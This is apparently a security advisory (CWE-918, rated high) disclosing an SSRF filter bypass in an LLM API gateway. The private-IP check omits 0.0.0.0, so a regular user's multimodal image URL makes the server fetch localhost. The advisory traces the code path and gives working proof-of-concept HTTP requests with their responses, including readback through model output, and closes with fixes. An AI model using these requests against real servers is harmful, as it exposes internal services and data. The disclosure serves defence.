0.0.0.0The SSRF protection introduced in v0.9.0.5 (CVE-2025-59146) and hardened in v0.9.6 (CVE-2025-62155) does not block the unspecified address 0.0.0.0. A regular (non-admin) user holding any valid API token can send a multimodal request to /v1/chat/completions, /v1/responses, or /v1/messages with 0.0.0.0 as the image/file URL host, bypassing the private-IP filter and causing the server to issue HTTP requests to localhost. This constitutes at minimum a blind SSRF; when the request is routed through an AWS/Bedrock Claude adaptor, the fetched content is inlined into the model response, upgrading it to a full-read SSRF.
common/ssrf_protection.go — isPrivateIP() (lines 33–47) checks the following ranges:
10.0.0.0/8172.16.0.0/12192.168.0.0/16127.0.0.0/8169.254.0.0/16224.0.0.0/4240.0.0.0/40.0.0.0/8 is not checked. On Linux, 0.0.0.0 resolves to the local machine, same as 127.0.0.1.
setting/system_setting/fetch_setting.go (lines 16–24) defaults:
EnableSSRFProtection: trueAllowPrivateIp: falseAllowedPorts: ["80", "443", "8080", "8443"]ApplyIPFilterForDomain: trueSo 0.0.0.0 on any of these four ports passes all checks.
/v1/chat/completions)User API token
→ /v1/chat/completions (TokenAuth, no admin required)
→ messages[].content[].image_url.url = "http://0.0.0.0:8080/..."
→ dto/openai_request.go:111-117 createFileSource() recognises http(s):// as URL source
→ dto/openai_request.go:119-198 GetTokenCountMeta() collects image_url.url / file.file_data / video_url
→ service/token_counter.go:237-264 LoadFileSource() fetches URL when shouldFetchFiles == true
→ service/file_service.go:135-143 loadFromURL() → DoDownloadRequest()
→ service/download.go:52-68 ValidateURLWithFetchSetting() → 0.0.0.0 NOT blocked → GetHttpClient().Get()
→ Server issues real TCP connection to 0.0.0.0
Note on stream requirement: common/init.go (lines 140–141) defaults GET_MEDIA_TOKEN=true but GET_MEDIA_TOKEN_NOT_STREAM=false, so stream: true is needed to trigger the fetch path.
The same ValidateURLWithFetchSetting() → DoDownloadRequest() sink is reachable from:
| Endpoint | User-controlled field | Auth required |
|---|---|---|
| /v1/chat/completions | image_url.url, file.file_data, video_url | Regular user token |
| /v1/responses | input_file.file_url, input_image.image_url | Regular user token |
| /v1/messages | source.url (type: "url") | Regular user token |
| /api/user/setting | webhook_url, bark_url, gotify_url | Regular user (self) |
relay/channel/aws/adaptor.go (lines 41–61) — ConvertClaudeRequest():
source.type == "url", it calls service.GetBase64Data() which invokes the same DoDownloadRequest() pathtype: "base64" and inlined into the model requestThis means an attacker can read the actual content of internal resources (images, PDFs, text) through the model's output, not just detect open/closed ports.
Prerequisites: A regular user account with a valid API token. No admin privileges required.
Step 1 — Control group: 127.0.0.1 is blocked
POST /v1/chat/completions HTTP/1.1
Host: <redacted>
Authorization: Bearer sk-<user-token>
Content-Type: application/json
{
"model": "gpt-4o-mini",
"stream": true,
"max_tokens": 1,
"messages": [
{
"role": "user",
"content": [
{"type": "text", "text": "describe"},
{
"type": "image_url",
"image_url": {
"url": "http://127.0.0.1:8080/probe.png",
"detail": "low"
}
}
]
}
]
}
Response:
private IP address not allowed: 127.0.0.1
Step 2 — Experiment group: 0.0.0.0 bypasses the filter
POST /v1/chat/completions HTTP/1.1
Host: <redacted>
Authorization: Bearer sk-<user-token>
Content-Type: application/json
{
"model": "gpt-4o-mini",
"stream": true,
"max_tokens": 1,
"messages": [
{
"role": "user",
"content": [
{"type": "text", "text": "describe"},
{
"type": "image_url",
"image_url": {
"url": "http://0.0.0.0:8080/probe.png",
"detail": "low"
}
}
]
}
]
}
Response:
dial tcp 0.0.0.0:8080: connect: connection refused
The server attempted a real TCP connection — the SSRF filter was bypassed.
Step 3 — Confirm readback capability via multimodal model
POST /v1/chat/completions HTTP/1.1
Host: <redacted>
Authorization: Bearer sk-<user-token>
Content-Type: application/json
{
"model": "claude-3-5-sonnet-latest",
"stream": false,
"max_tokens": 32,
"messages": [
{
"role": "user",
"content": [
{
"type": "text",
"text": "Transcribe exactly the text in the image. Output only the text."
},
{
"type": "image_url",
"image_url": {
"url": "https://dummyimage.com/600x180/111/fff.png&text=READBACK-OK-314159",
"detail": "low"
}
}
]
}
]
}
Response:
{"choices":[{"message":{"content":"READBACK-OK-314159"}}]}
This confirms that when the fetch target returns readable content (image/PDF/text), the model's response leaks that content to the attacker. Combining Step 2 and Step 3: if an internal service on 0.0.0.0:<allowed-port> returns image or document content, an attacker can exfiltrate it.
An authenticated regular user (no admin privileges) can:
connection refused vs timeout vs HTTP-level errors. Default allowed ports are 80, 443, 8080, and 8443.isPrivateIP() check. No redirect chain, no DNS rebinding, no race condition required — just replacing 127.0.0.1 with 0.0.0.0.Since user registration is often enabled by default, any registered user can exploit this.
0.0.0.0/8 to the deny list in isPrivateIP() (common/ssrf_protection.go)0.0.0.0/8 ("This network")100.64.0.0/10 (Carrier-grade NAT)198.18.0.0/15 (Benchmarking)::1, ::, [::], fe80::/10service/http_client.go:24-33, but does not help when the initial address itself bypasses the filter){
"cwe_ids": [
"CWE-918"
],
"nvd_published_at": "2026-05-08T23:16:36Z",
"severity": "HIGH",
"github_reviewed_at": "2026-05-06T17:23:21Z",
"github_reviewed": true
}